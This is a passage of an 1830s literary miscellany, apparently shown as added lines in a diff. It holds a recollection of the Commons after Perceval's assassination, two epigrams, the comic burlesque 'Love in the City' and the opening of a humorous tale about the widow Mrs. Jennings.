+were suspended. The benches were filled with unwonted regularity; and
+their occupants, scarcely venturing on a whisper, and hardly changing
+their position, seemed almost like breathing statues, while they awaited
+with awful interest the announcement of what steps the government
+proposed to take, and what information had been obtained by them
+respecting the event which had deprived the administration of its chief.
+
+The silence which prevailed was at length broken by the Speaker, who,
+with an effort at firmness, but in a tone somewhat subdued, pronounced
+the name of Lord Castlereagh, (the Late Marquis of Londonderry,) who had
+at that moment presented himself at the bar.
+
+His lordship, in a faltering voice, stated that he was the bearer of a
+message from the Prince Regent.
+
+"Please to bring it up," was the matter-of-course reply, and his
+lordship handed the paper to the Chair. It was forthwith read. The
+Regent expressed his deep regret for the event, which he could never
+cease to deplore, and recommended to the House to make a provision for
+the family of Mr. Perceval.
+
+It was then moved that the House should resolve itself into a committee,
+to take into consideration the message; and that being done, Lord
+Castlereagh took upon himself the task of addressing the members on the
+painful subject which they were then to entertain. His lordship spoke
+with great feeling. A more than official attachment seemed to connect
+his lordship with the late premier. On an occasion then recent, when
+the conduct of his lordship had been the subject of grave accusation
+respecting the disposal of certain seats in that House, Mr. Perceval
+had defended him with great earnestness and success; and, doing so, his
+declaration was, "I raise my voice for the man I esteem, and the friend
+I love."
+
+In the course of his statement, the noble lord had, in connexion with
+the awful event of the preceding day, to make known the conviction of
+the ministry, from all the inquiries that had down to that hour been
+instituted, that the act of Bellingham was perfectly unconnected with
+any general scheme or conspiracy. Proceeding to speak of the domestic
+distress it had caused, he said, the children left by Mr. Perceval were
+twelve in number. "For the widow," he added, "her happiness in this
+world is closed;" and the painful feelings by which he was oppressed so
+overpowered him, that he was unable to proceed. He burst into tears, and
+with strong emotions raised a handkerchief to his eyes, and concealed
+his face for some moments.
+
+With a knowledge of subsequent events, I cannot but recall this passage
+of Lord Castlereagh's address, though perfectly appropriate at the
+time, with a cynical glance,--a something between mirth and sorrow.
+Looking at the picture drawn of Mrs. Perceval, and remembering that
+horror at learning the fate of her husband was said to have almost
+petrified her; that, wild and unconscious, the most fatal effects were
+anticipated from her excessive woe, till, by the advice of her medical
+attendants, she was led into the room where the corpse of her lord was
+lying, when that ghastly spectacle caused her tears to flow, and thus
+afforded the bursting heart some relief; I cannot recall these things,
+without connecting with them the news which the fashionable world were
+destined at no very distant period to receive, that this afflicted and
+heart-broken lady, the mother of twelve children, had been again led
+to the altar by a gallant officer much younger than herself. Of the
+matrimonial discord that followed, I will not speak.
+
+I am not going to copy from the journals of the House the particulars
+of the grant proposed as a provision for the Perceval family, nor from
+the papers of the day the debates to which the event gave rise. What
+I propose to do is, merely to give a few sketches of the attendant
+circumstances, which may be thought interesting now, but were lost sight
+of then, from the pressure of matter of greater importance.
+
+Let it then suffice to say that the House cordially approved of the
+course recommended by the Crown. Mr. Whitbread, who had been one of
+the most unsparing opponents of the departed premier, was frequently
+in tears. He bore testimony to the amiable personal character of the
+late minister. "I never," said he, "carry hostility to those from whom
+I differ on political questions beyond that door," pointing to the door
+opening into the lobby: "with that man it was impossible to carry it so
+far."
+
+It is due to that honourable gentleman to say that this was not a mere
+_post mortem_ compliment. With the deceased he had often come into
+collision. Mr. Whitbread was irritable, and was sometimes deeply stung
+by the sarcasms launched at him by Mr. Perceval. In one debate the
+latter, having adverted to predictions formerly made by Mr. Whitbread,
+which had not been borne out by events, and to new ones then hazarded,
+applied to his assailant the words of Pope,
+
+    "Destroyed his web of sophistry in vain,
+    The creature's at his dirty work again."
+
+Mr. Whitbread, nettled at this, spoke to order, and demanded that the
+words should be taken down. A very brief and simple explanation restored
+his good humour, and the subject was dropped. On another occasion, not
+long before Mr. Perceval's death, when some personal altercation had
+occurred between them, the right honourable gentleman, in explaining
+away that which had given offence, took occasion to say that among his
+faults--and he had many--want of respect for the honourable member was
+not one of them. Mr. Whitbread, in cordially accepting the explanation,
+replied, that "among all the right honourable gentleman's virtues--and
+he had many--there was none more to be admired than the promptness with
+which he could return to friendly conference from the heat of political
+debate."
+
+There was, indeed, much affability about Mr. Perceval's manner. Many
+anecdotes of his condescension were published at the time. An instance
+of his courtesy and good-nature occurs to me which has never appeared in
+print.
+
+At a grand city feast in Guildhall, the publisher of a fashionable
+journal having taken wine rather freely, was hoaxed by some mischievous
+friend with a belief that Mr. Perceval was one of the officers of the
+hall, and under this impression, wishing to leave for a short time,
+accosted him with a theatrically pompous air, which the individual (a
+well-known character at that time among the votaries of the drama,)
+loved to assume, and said,
+
+"My good fellow, I wish to step into King-street for a moment; you'll
+take notice of me and let me in again," at the same time offering to
+slip half-a-crown into the hands of the prime minister. The gift was
+declined, and Mr. Perceval replied with a smile, "I am sorry it is not
+in my power to oblige you; but you had better speak to some of those
+gentlemen," pointing to the marshalmen; "they may be able to do what you
+wish."
+
+While the good qualities of the deceased were rehearsed, and the
+consequences of his fate to the government and to the country were
+discussed, curiosity naturally turned to the cause of the important
+change. Great was my surprise to learn that the individual was not
+wholly unknown to me; I was soon reminded of the singular personage who
+had attracted notice by his manner and his opera-glass in the gallery.
+That was no other than Bellingham; and two of the gentlemen who had been
+in the habit of meeting, and perhaps of conversing with him there, were
+the first who advanced after the dreadful deed to secure him in the
+lobby.
+
+The remainder of that unhappy man's story is soon told. In the course
+of a day or two the coroner's inquest returned a verdict of wilful
+murder, and the grand jury a true bill against him. On the Friday he
+stood at the bar of the Old Bailey to take his trial. He made a long
+rambling defence, and occasionally his agony was so great, not for his
+impending fate, but from recollection of the sufferings of a wife, whom
+he described with fondness, that it deeply affected all present. It was
+attempted to prove him insane; but certainly there were no grounds for
+considering him in that state which the law requires shall be proved to
+exempt the murderer from capital punishment. He himself opposed that
+plea. A verdict of Guilty was returned, and on the succeeding Monday
+the sentence of death was carried into effect. The case was from the
+first so clear, the evidence so conclusive, that the prisoner was
+perhaps the only man in England who expected any other result. He seemed
+to look for an acquittal. With every one else conviction and death
+were thought inevitable,--indeed so much matters of course, that the
+following singular announcement, through some slip of the pen, in the
+_Morning Post_ of Thursday, "The trial will take place to-morrow, the
+execution on Monday," was hardly viewed as reprehensible, hazardous, or
+extraordinary; though certainly such a one, but in that single instance,
+I have never seen.                                                 H. T.
+
+
+
+
+                         EPIGRAM.
+
+    "Make _hay_ while the sun shines," cried old Gaffer Grey,
+    When lounging to make with fair Susan _sweet_ hay.
+    "Keep off!" said the maiden, whose brow was o'ercast,
+    "_Your hey-day of life_, pray remember, has past."
+                                                         R. J.
+
+
+
+
+                        LOVE IN THE CITY.
+
+                             PREFACE.
+
+In offering the following dramatic production to a discerning public,
+the author respectfully intimates, that, notwithstanding an accidental
+similarity in name between this play and one by Mr. William Shakspeare,
+in plot, language, and situations, the two dramas will be found to
+differ totally. "_Love in the City_" is of that order generally
+termed "the Domestic;" and, while the incidents are varied, simple,
+and common-place, it is to be hoped that the _dénouement_ will be
+acknowledged singularly striking and effective.
+
+To restore the legitimate drama, whose neglect has been so long and
+uselessly deplored, has been the author's principal aim; and, in the
+construction of the play here presented to the world, he trusts that he
+has eminently succeeded. No German horrors have been employed; the use
+of thunder and lightning has been dispensed with; not even a dance of
+demons has been introduced; and, with the exception of reproducing Mr.
+Clipclose, senior, in the second act, after he had shuffled off this
+mortal coil, there is not an event in the whole drama, but those of
+every-day occurrence.
+
+Although "_Love in the City_" has been expressly written for the eminent
+performers whose names are attached to the _dramatis personæ_, the
+author will extend a limited privilege of acting to country managers,
+he receiving a clear half of the gross receipts of their respective
+houses. Any offer short of this stipulation will remain unattended to.
+Music-sellers may address proposals for the melodies to Mr. Richard
+Bentley; and, should my attempt at piracy be detected,--the copyright
+of the drama being duly entered at Stationers' Hall,--persons thus
+offending are respectfully informed that they will be subjected to an
+action at law.
+                                                    THE AUTHOR.
+  Camomile-street, May 1, 1837.
+
+
+
+
+                   LOVE IN THE CITY;
+             OR, ALL'S WELL THAT ENDS WELL.
+
+              A MELODRAMATIC EXTRAVAGANZA,
+                      _In Two Acts._
+
+_As it is to be performed at the Theatre-Royal, Drury-Lane, with
+rapturous applause._
+
+_The words_ not _by Thomas Moore,_ nor _the music by Henry R. Bishop._
+
+
+                        DRAMATIS PERSONÆ.
+
+_Captain Connor_,--a gentleman from Ireland, with black whiskers and
+four wives, six feet two high, a sergeant in the 2nd Life-Guards, in
+love with Mrs. Clipclose, _cum multis aliis_,--MR. CHARLES KEMBLE (his
+reappearance on the stage for this occasion only).
+
+_Mr. Robert Clipclose_,--an eminent mercer, of amorous disposition, and
+in embarrassed circumstances,--MR. SHERIDAN KNOWLES.
+
+_Old Clipclose_,--father to Robert, a retired tradesman, afflicted by
+gout and avarice, with a house at Highgate,--MR. WILLIAM FARREN.
+
+_His Ghost_,--MR. T. P. COOKE.
+
+_Jeremiah Scout_,--in the confidence of Mr. and Mrs. Clipclose, and
+porter to the establishment,--MR. HARLEY.
+
+  _Samuel Snags_,     }  clerks to Clipclose and Co. and men of fashion,
+  _Matthew Mags, and_ }  their names omitted by mistake in the Court
+  _Philip Poppleton_, }  Calendar,--MESS. LISTON, VINING, and YATES.
+
+_Timothy O'Toole_,--corporal, 2nd Life-Guards, troop No. 4--MR. TYRONE
+POWER.
+
+_Benjamin Blowhard_,--trumpeter, same troop,--MR. J. RUSSELL.
+
+_Pieman and All-hot_,--by a POST-CAPTAIN and an ASSISTANT-SURGEON, H.P.
+R.N. Their first appearance on any stage.
+
+_Policemen A. and S._--by two gentlemen from the country, of great
+provincial celebrity.
+
+_Mrs. Clipclose_,--lady-like and extravagant, in love with Captain
+Connor,--MRS. BUTLER, who has kindly promised to come from North America
+to sustain the character, and is hourly expected, per the "Silas
+Tomkins, of New York."
+
+_Miss Juliana Smashaway_,--a young lady of great personal attraction and
+small fortune, in lodgings in Upper Stamford-street, and in love with
+Captain Connor,--MISS ELLEN TREE.
+
+_Annette_, vulgò _Netty_,--a maid of all work, engaged to Samuel Snags,
+and in love with Captain Connor,--MADAME VESTRIS.
+
+  _Captains Wife_, _No. 1_,  --MISS HELEN FAUCIT.
+  _Do._            _No. 2_,  --MRS. YATES.
+  _Do._            _No. 3_,  --MRS. NISBIT.
+  _Do._            _No. 4_,  --MISS VINCENT.
+
+_Kitty_,--lady of the bed-chamber to Miss Smashaway,--MISS MORDAUNT.
+
+Men about town, women ditto, apprentices, guardsmen, police A. 27 and F.
+63, attendants, &c. &c. &c. _by eminent performers_.
+
+_Time_, rather indefinite. _Scene_, always within sound of Bow-bell, and
+chiefly in Ludgate-hill _or_ Upper Stamford-street.
+
+
+ACT I.--SCENE I.
+
+              Morning rather misty; St. Paul's striking
+            eleven, as the curtain rises to hurried music,
+            and discovers a haberdasher's shop with plate-glass
+            windows. _Snags_, _Mags_, and _Poppleton_ with sundry
+            assistants, their hair in papers; but evidently
+            preparing for business. Enter _Jeremiah Scout_ with
+            a watering-pot; he sprinkles the floor, while the
+            apprentices are arranging their neckcloths. _Snags_
+            coughs, evincing a recent recovery from influenza. He
+            comes forward, and sings.
+
+           AIR--_Mr. Snags._--(Guy Mannering.)
+
+          Oh! sleep, Mr. Clipclose,
+            You were up all the night;
+          You commenced at "The Finish,"
+            And closed with a fight.
+    Oh! keep yourself quiet, and sleep while you may,
+    Nor dream that the bailiffs are over the way.
+
+    (_When the song ends, Poppleton advances to the front counter, and
+    waves his yard. Dead silence. All turn to him._)
+
+    _Pop._--Gemmen, you know of late that trade is dull,
+    And the till empty, while the town is full:
+    Bills have come round, and bankers won't renew;
+    Our master's dish'd, and we are in a stew.
+
+    _Mags._--Alas! my friends, what Poppy says is true;
+    All's black without, and all within is blue:
+    Our fates are certain,--Whitecross, or the Fleet;
+    Writs are sued out, and bums are in the street.
+
+    _1st Apprentice_ (_a stout lad, with light hair, and enamelled
+    shirt-studs--sobbing_).--Short as short credit, shorter than short
+    whist, Short as a barmaid's anger when she's kiss'd; Shorter than
+    all, ah! Clipclose, was thy span--Oh, such a master! such a nice
+    young man!
+
+    _Snags_ (_with considerable firmness and feeling_).--Come, hang it!
+        let's keep heart, tho' trade may fail;
+    It's only lying six weeks in a jail!
+    What with good company and sporting play,
+    Kind friends, sound claret, and a lady gay,
+    Speed the dull hours, and while the weeks away.
+    Time's rapid flight men scarce have time to view,
+    And, old scores clear'd, we open them anew.
+
+    (_He pauses, and mounts an elevated desk; his voice and attitude
+    expressive of desperate determination._)
+
+    Here, to the last, I'll take my wonted stand,
+    Receive the flimsies from each fair one's hand.
+    Courage my trumps! (_to the apprentices_;) unpaper all your hair;}
+    Let our gay banner wanton in the air}
+    To pull in flats, and make the natives stare!}
+
+    (_All discard their papillotes, while the junior apprentice seizes a
+    large placard, and suspends it over the door. On a dark ground,
+    and in gold capitals, appears the device._
+
+    EMPORIUM OF ELEGANCE!
+        _Clipclose and Co._
+    _No connexion over the way._
+      _The youngest may buy._
+    NO ADVANTAGE TAKEN HERE!!!
+
+    _Sundry persons collect about the door; and a yellow cab, No.
+    1357, stops._)
+
+    _Snags (aside) to the apprentices._--Covies, be brisk; our customers
+        approach!
+    Go, Pop, and hand yon lady from her coach.
+    A simpering smile is still a tradesman's treasure;
+    Give them enough of gammon, and short measure!
+
+    _Miss Juliana Smashaway enters._ _Mags bowing obsequiously._
+
+    _1st App._--Shall your cab wait, ma'am?
+
+    _Miss S._ Ask Jarvey if he's willing.
+
+    _Mags._--Gods! what a voice! its tones so soft, so thrilling!
+
+    _Pop._ (_aside._)--Now, blow me tight! her beauty's downright killing!
+
+    _Snags_ (_from his desk_).--Mags, could you give me coppers for a
+     shilling?
+
+    _App._--What shall I show? silks? purple, yellow, green?
+
+    _Miss S._--I merely want a yard of bombasin.
+
+    _Snags_ (_in evident admiration_).--Lord! what a flash 'un! Attend
+    that lady, Pop; And let her have the cheapest in the shop.
+
+    (_Poppleton introduces Miss Juliana Smashaway into the back
+    show-room, and the scene closes._)
+
+
+                   SCENE II.--_Ludgate-hill._
+
+             A front drawing-room; furniture French-polished,
+            red silk window-curtains, and green sun-blinds;
+            breakfast-table laid. Enter, from her
+            boudoir, L. H. _Mrs. Clipclose_, fashionably dressed
+            in pink gingham. She advances to the chimney-piece,
+            and looks at an ormolu clock; her countenance showing
+            surprise.
+
+    _Mrs. C._--What! not astir at almost twelve o'clock?
+    (_Looks in the glass_). Upon my life, a most becoming frock!
+    How late Bob sleeps! I think I'm getting fatter.
+    We both were late. (_Noise heard._) I wonder what's the matter.
+    I, at Vauxhall; and Bob, upon the batter.
+    Heigh-ho! these men are very seldom true.
+    I hope the captain recollects at two
+    We meet at Charing-cross to drive to Kew.
+                          (_Opens the piano, and sits down._)
+
+    AIR--_Mrs. Clipclose._--("I met her at the Fancy fair.")
+
+        I met him in an omnibus:
+          He spoke not; but his sparkling eyes
+        Told the fond secret of his heart,
+          And found an answer in my sighs.
+
+ (_Enter, from dressing-room_, R. H. _Young Clipclose, in a flowered
+ morning-gown, and kid slippers. He yawns while arranging sundry rings
+ upon his fingers._)
+
+ TRIO--_Mr. and Mrs. Clipclose, and Annette._
+
+   ("Jenny put the kettle on.")
+
+            _Mr. C._
+
+  Dear me! my head is aching so,
+  This soft white hand is shaking so;
+  I sure must give up raking, O!
+
+  (_Politely turning to his lady._)
+
+  Good morning! Mistress C.
+
+ (_Annette appears at the door, back of the stage, as if answering the
+ bell._)
+
+ _Mrs. C._
+  Netty, bring the muffins up,
+  Put down the cream, and rince a cup;
+  Your master's had an extra sup--
+
+  (_Looking archly at her husband._)
+
+  Ah! naughty Mister C.
+
+ _Annette_ (_aside, presenting a note to her mistress_).
+
+  The potboy brought this _billet-doux_.
+  (_Aloud._) Oh, Lord! I hear a creaking shoe,
+  And here will be a sweet too-roo,
+  With grumpy Mister C.
+
+ _Mr. and Mrs. C., and Netty, together._
+
+  And here will be a sweet too-roo!
+
+ _Gruff voice outside._
+
+  I say, where's Bobby C.?
+
+  (_Enter, in a passion, Mr. Clipclose, senior._)
+
+ _Mr. C. sen._--I say, where's Bob? Not down at twelve o'clock!
+  I thought to find the scoundrel taking stock;
+  Or, at the counter, serving folks quite civil.
+
+ _Mrs. C._ (_pertly._)--He's going, sir.
+
+  (_Bob vanishes._)
+
+ _Mr. C. sen._ Ay! quickly, to the devil!
+
+  (_Turning angrily to Mrs. C._)
+
+  And you, gay madam! Zounds! this gown is new!
+  What you wore yesterday was sprigged with blue.
+  Upon the road to ruin, wives drive hard,
+  When they wear chintz at eight-and-six a yard.
+
+ _Mrs. C._ (_disdainfully._)--If you would know the price,
+ ask Miss Brocard.
+
+ _Mr. C. sen._--Hear, haughty madam, while my mind I speak,
+  If Bob don't mend--(_a long pause_)--I'll marry this day week!
+  I'll have boys too-- (_A sudden fit of coughing interrupts him._)
+
+ _Mrs. C._ (_sarcastically_).--I'm sure the spirit's willing.
+
+ _Mr. C. sen._--And I'll cut off your husband with a shilling!
+
+  (_Exit, in a desperate rage. Mrs. C. and Netty laugh immoderately._)
+
+ _Annette._--Why, bless us, madam, but the man's a bear!
+ At eighty-one to threat us with an heir.
+
+ _Mrs. C._--Pish! 'tis mere dotage; his brains are in the moon.
+
+   (_Sits down to the piano._)
+
+ What shall I play, Net?
+
+ _Annette._ Play "_The Bold Dragoon_."
+
+  (_Music soft and expressive. The scene closes._)
+
+         SCENE III.--_The back show-room._
+
+               Miss Juliana Smashaway surrounded
+              by shopmen and apprentices, all
+              presenting various articles, and anxious
+              individually to attract attention.
+
+ _Miss S._--Lord, what nice men! their words are sweet as honey;
+ And, stranger still, they won't take ready money.
+ I fork'd a five-pound flimsy out in vain--
+ They're civil men, and I'll look in again.
+
+ _Snags_ (_beseechingly_).--Madam, your card?
+
+ _Mags_ (_with deep emotion_). And, might I humbly press
+ For Miss Juliana Smashaway's address?
+
+ _1st App._--Accept these gloves.
+
+ _2nd App._ This tabinet from me.
+
+ _Clipclose, jun._ (_enters hastily--appears
+ thunderstruck--starts--pulls off a ring, and, rushing
+ forward, exclaims as he presents it_,)
+
+ And this from your devoted Robert C.!
+
+ _Miss S._--Why, this flogs all, and Banaher's[103] beat hollow.
+ Gemmen, adieu! (_She bows, retiring._)
+
+ _Clerks and Apprentices_ (_dolorously_).--She's gone!
+
+ _Mr. C._ (_passionately_.)                 And I will follow!
+
+               Exit Miss Smashaway; Clipclose
+              after her. She jumps into a yellow cab,
+              and he into a green one. Both start at a
+              killing pace for Blackfriars' Bridge; yellow
+              cab upsets a pieman, and green demolishes an
+              establishment of "all hot." Clerks, shopmen,
+              and apprentices strike their foreheads with
+              considerable violence, and return behind the
+              counters despondingly. Distant music from a
+              barrel-organ.   Scene closes.
+
+        SCENE IV.--_Mrs. Clipclose's Boudoir_.
+
+               Mrs. C. in sea-green satin,
+              putting on a cottage bonnet with
+              artificial flowers. Lavender-coloured gloves
+              upon the toilet, and _selon la règle_, a
+              fresh pocket-handkerchief. Netty in attendance.
+
+ _Annette._--Upon my life, the gemmen's hearts you'll fleece!
+ What is so handsome as a green pelisse?
+
+ _Mrs. C._--Now for my love. Should Mr. C. return,
+ Tell him I dine with Mrs. Simon Byrn.
+
+ _Annette._--Yes, ma'am.
+
+  (_Jeremiah Scout enters the boudoir unannounced._)
+
+ _Mrs. C._ (_indignantly._)--How's this? Why, Scout, you're
+ monstrous rude!
+
+ _Jeremiah_ (_with strong exertion_.)--Down, my full heart!
+ I hope I don't intrude? The saddest news, alas, to tell I'm come!
+
+   (_A long and harrowing pause._)
+
+ Your husband's tapp'd by Tappington, the bum!
+
+   TRIO--_Mrs. C., Annette, and Jerry._--(Bobbing Joan.)
+
+             _Jer._
+     My master's off to jail.
+
+            _Mrs C._
+     Bolts and chains will bind him.
+
+            _Netty._
+ Well! there's a comfort left;
+ One still knows where to find him.
+
+     _Mrs. C._
+ Grief for him, I'm sure,
+ This tender heart will smother.
+
+     _Jer._
+ I know a certain cure,
+ And that's to try another.
+
+     _Trio._
+ Tar-a-la-ra-la, tar-a-la-ra-loo-dy.
+
+     _Mrs. C._
+ At the thought I'll faint.
+
+     _Annette._
+ My lady's over-nice, sir!
+
+     _Mrs. C._
+ Although the cure is quaint,
+ I'll follow your advice, sir.
+
+     _Jer._
+ I don't, then, make too free?
+
+     _Mrs. C._
+ No, sir; upon my honour!
+
+     _Annette._
+ I'm ready for a spree.
+
+     _Mrs. C._
+ And I for Captain Connor.
+
+     _Grand Chorus._
+ Tar-a-la-ra-la.
+                      (_With a pas de trois in character._)
+
+End of Act 1. Curtain falls amid a thunder of applause, and an
+uproarious call for Mrs. Butler, Madame Vestris, and Mr. Harley. They
+come reluctantly forward. Audience rise by general consent. Cheers and
+clapping continue five minutes. Stage-bell rings. Performers retire with
+their hands upon their hearts. Waving of handkerchiefs from the boxes,
+bravos from the pit, and whistling from the shilling gallery.
+
+[103] NOTE, _by Dr. Southey._--It may be objected that a lady like Miss
+Juliana Smashaway, born in Crutched Friars, and educated in a select
+seminary at Kennington Cross, should use the well-known _Hibernicism_,
+"This beats Banaher." But let it be remembered that she was devotedly
+attached to Captain Connor; consequently, often in his company; and
+hence naturally would adopt the language of one whom she "loved not
+wisely, but too well." The same remark is applicable to the term
+"_Too-roo_," used by Netty in the beautiful _trio_, _Act 1, Scene 2_.
+
+       *       *       *       *       *
+
+
+
+
+                       EPIGRAM.
+
+    "You're a false, cruel wretch! not a year after marriage,
+    To try to degrade me, and put down the carriage!"
+    "A lady, my dear," was the answering reproach,
+    "Is known by her _carriage_, but not by her _coach_!"
+                                                            R. J.
+
+
+
+
+                     MRS. JENNINGS,
+         "WHO WANTED SOMEBODY TO CARE FOR HER."
+
+Theophilus Bullfinch was a bachelor, middle-aged, and sufficiently
+stout to look respectable. A spare man conveys a feeling of spareness
+in all things. The eye never rests so contentedly as on a fat and what
+is generally termed a "comfortable-looking" personage; a stout man
+carries an appearance of wealth in the very folds of his coat, and so
+did Theophilus Bullfinch. But, alas! although temptation fell not in his
+way, he fell in the way of Mrs. Jennings!
+
+"Time tells a tale,"--and we behold our bachelor located at a
+watering-place, no less famous for the civility and unimposing character
+of its inhabitants than the select nature of its visiters,--Margate.
+This, no one, we are sure, will venture to deny, who has "seasoned" it
+for three or four months. The kindly feelings of its inhabitants are
+perceptible even in its ass-drivers. Where will you find such fatherly
+boys to their donkeys,--such yellow shoes,--such society, as at Margate?
+We are sure our readers will say with us, Nowhere!
+
+Theophilus felt this; and ventured a trip, and a house, for he bought
+one, urged thereto by a lady acquaintance, by name Mrs. Palaver,--a lady
+who drove not only her husband, but a pair of ponies, and astonished
+the eyes both of "quality" and "natives" by the way she did the
+genteel,--that is, as far as her ponies went: for herself, she had
+a soul above mean approbation. Among the "select" at the libraries,
+Mrs. P. was the ruling star; and, to judge not only from the redness
+of her face, but as her husband could testify, Mars in petticoats.
+She shilling-loo'd and "one-in-three'd," even to the hinderance of
+"The Concert;" but no one bore interruptions of this nature with so
+much philosophical sweetness as Old Bones, the proprietor; and as the
+"one-in-threes" bore to him a profit of three to one, the dulcet tones
+of the signora of the rooms were often eclipsed by Mrs. P.'s _shake_,
+or "_go_," as it is called. Our readers may be curious as to the name
+of the "signora:" it was Mrs. Nobs by day, Signora Nobini by night. And
+such a voice! The little boys in Hawley-square heard as well as the
+company inside,--in fact rather better, for they complained of its being
+a _leetle_ too forte.
+
+But although Mrs. Palaver put down shillings, she picked up
+friends,--dear souls of the newest importation,--and among the rest
+Mrs. Jennings. Mrs. Jennings was a widow who "_wanted somebody to care
+for her_." She had a small independence, and, if we may venture to
+judge from subsequent events, a _very_ small independence; in fact,
+it might be doubted if it were an independence at all. She was tall,
+scraggy, and thin--we use a homely simile--as a pancake; the effect of
+grief, doubtless. She had lost a husband, she said, who doted on her;
+and, having lost so great a treasure, can we wonder at her unwearied
+exertions to obtain a fresh supply of affection? Theophilus was a man
+of money. Mrs. Jennings could not boast of the same golden fruit; and,
+as she wanted "_somebody to care for her_," she fixed her eye--a grey
+one--upon Theophilus Bullfinch.
+
+"They met," not in a "crowd," but at a tea and card party; at the
+mutual friend's, Mrs. Palaver, where real eighteenpenny Cape, and
+diamond-cut sandwiches of the size and thinness of a three-cornered
+note, indicated the gentility of the lady of the house. Theophilus
+and the widow were partners,--a beginning not to be despised. Mrs.
+Jennings looked confusion over her hand, and vowed her heart must
+fall to his king of clubs. Theophilus blushed; she sighed, and intent
+upon a _new game_, lost the rubber! Theophilus paid for himself; the
+widow had a mind above trifles. Theophilus was tempted,--what man is
+not at times?--and paid for Mrs. Jennings. The first stone was laid,
+and the widow saw the church already built, the door open, and the
+parson's hand in the same inviting position. The next morning, Mrs.
+Jennings, our bachelor, and the _mutual friend_ were to perambulate
+the fields, or rather corn-fields, and numerous of the "quality" were
+drifting along the chalky roads on an equestrian tour; asses were at a
+premium, and young ladies legs _going up_. Our party wended their way,
+and Mrs. J. talked of the days when she and Mr. J. made love in a corn
+field. If she had only somebody _to care for her_!--and Mrs. Jennings
+squeezed something very like a tear into the corners of her eyes. We
+know not what effect they might have had on the dear departed, but to
+our bachelor they appeared the essence of affection,--pretty little
+drops, distilled from that great alembic, the heart. Theophilus, we
+have before hinted, was unused to the sweet witchery of womankind,
+and in the simplicity of his soul thought tears must be a natural
+production! Let not the wise in the lore of matrimony laugh at his
+ignorance,--Theophilus was a bachelor!
+
+He was touched by this unexampled proof of, to him, affection; and,
+drawing himself into closer proximity with Mrs. Jennings than he had
+before ventured, began--
+
+"My dear ma'am, don't distress yourself. Men are like ears of corn."
+
+"I know it," cried Mrs. Jennings, twisting one round her finger as she
+spoke.
+
+"Like grass, ma'am; and Time's scythe mows down husbands and fathers!"
+
+"Oh! oh!" sobbed the widow.
+
+"Is there anything I can do to comfort you, ma'am?" asked Theophilus
+inquiringly.
+
+Mrs. Jennings looked assent, and kept twisting the ear of corn.
+
+"A good wife, ma'am, is a jewel,--the tears are still in your eyes,--and
+will you allow me to make you an offer----"
+
+"An offer!" said Mrs. Jennings; and the tears, spite of herself, shrunk
+back, as though ashamed of what they were doing,--"an offer!"
+
+"Of my handkerchief," said Theophilus.
+
+A clover-field is a dangerous thing to walk in. Philosophers may divine
+the cause,--we only know it is so; sentiment is not for the highway:
+love and clover are synonymous. Mrs. Jennings knew this, and trotted the
+unsuspecting, uninitiated Theophilus into one, accordingly. Poppies,
+we know not why, do grow in clover; and Bullfinch--he was fond of
+botanising--plucked one, and, lamenting that violets were out of bloom,
+gave it to Mrs. Jennings. This was enough; and she whispered to the lady
+who was doing _thirdy_, "He must mean something."
+
+The town residence of Theophilus Bullfinch was in one of the squares
+in the neighbourhood of the Museum. But what is a house if it want a
+woman's smile? So thought Mrs. Jennings and she let no opportunity pass
+of "popping in;"--we are grieved to say the _popping_ was all upon her
+side. She would call as she was passing--the day was so hot--to
+take a rest; or the day was so cold, and she wanted--the truth must be
+spoken--a warm! What could Theophilus do? With a grim welcome on his
+face, and a "D--n the woman!" in his heart, he grumbled out, "You'd
+better take a chair." Mrs. Jennings did, and anything else she could
+get. But getting was a point not easily arrived at; for if Bullfinch
+loved one thing more than another, it was himself. She would bring him,
+by way of treat, wrapt in the corner of her pocket handkerchief; five
+or six nice little ginger-cakes, of her own making, of the size, and
+bearing a strong family likeness to what children call "sixes;" but
+finding all her entreaties thrown away, and her ginger-cakes likely to
+be in the same predicament, she would in the liberality of her soul
+take them into the kitchen by way of present to the housekeeper, who
+"pshaw'd!" as soon as her back was turned, and, enlarging upon the
+merits of her own ginger-cakes, gave them to the maid, and she--they
+went no farther: servant-maids have good appetites.
+
+What woman could bear these slights of fortune tamely? We can take upon
+ourselves to say Mrs. Jennings did not; but, intent upon the one great
+object of a woman's life,--a husband,--she let no opportunity pass of
+reporting that herself and Theophilus were shortly to be one, fully
+convinced of the fact that, though marriages may be made in heaven,
+there is nothing like speculating upon them on earth; and hoping, no
+doubt, to discover the true philosophers stone, which "turneth all to
+gold,"--Theophilus was a man of wealth,--she left no stone unturned to
+get him; and, to give things an appearance, she sat herself down--we
+tremble as we write--in no less a place than his bedroom, determined not
+to quit it until, as she observed, "there was an understanding between
+them." Theophilus was horror-stricken, the housekeeper no less so, and
+the servant-maid all flutters and ribbons.
+
+"Oh! oh!" gasped the widow, "you base man!--a weak woman as I am!"
+
+"Very!" grunted Theophilus.
+
+The housekeeper here interfered. "What's the use of crying about it? Why
+don't you look after somebody else?"
+
+"Ah!" sobbed the widow, "you don't know what's atwixt us!"
+
+"I wish the street-door was," thought Bullfinch.
+
+The lady was inexorable. "The poppy," she said, "had done the business!
+If she had only _someone to care for her_!" Her feelings overcame her,
+and she lay upon the bed in agony of finely-developed grief, we presume,
+for the convenience of fainting.
+
+Theophilus was at his wits' end, and a something very like a "D--n me!"
+was at his tongue's; but, "nursing his wrath," and echoing the words
+of an Eastern sultan, that "he who finds himself in a fire ought to be
+resigned to the Divine will; but whoever is out of the fire ought to be
+careful, and keep himself in his happy state." Thus far he thought with
+Mahomet; so he put on his hat and sallied forth, leaving Mrs. Jennings
+in undisputed possession of his bed. Whether this argued a want of
+taste, or was only a chastening of the spirit, we will not attempt
+to define; but certain it is he went out, and the widow, finding her
+efforts ineffectual, did the ditto.
+
+Days passed, and so did Mrs. Jennings the house; the servant-maid,
+with a prudent industry, answering the door in the area. Bullfinch
+(in a money-getting lane in the City the curious reader will see the
+Co. written after it) was a merchant; and as, in the ordinary course
+of things, it is necessary to emerge into the streets previously to
+reaching the place "where merchants most do congregate," what was to
+be done?--for never did cat watch a rat-hole more patiently, more
+hungrily, than the widow the doorway of his house. His modesty was not
+widow-proof; and the only way to shun her, was by a back-door, which
+opened into a mews: patiently picking his way through mire and dirty
+straw, did Theophilus, cursing widows and poppies, wend his way; whilst
+she--patience had ceased to be a virtue--vowed vengeance in the streets.
+
+On a wet day, a day of gloom and splash,--the streets running rivers,
+and the skies shedding drops like pebbles,--the passengers dripping,
+drenching,--and the New Police, all love and oil-skin, sheltering
+themselves under doors and gateways,--sat Theophilus Bullfinch, Esq. in
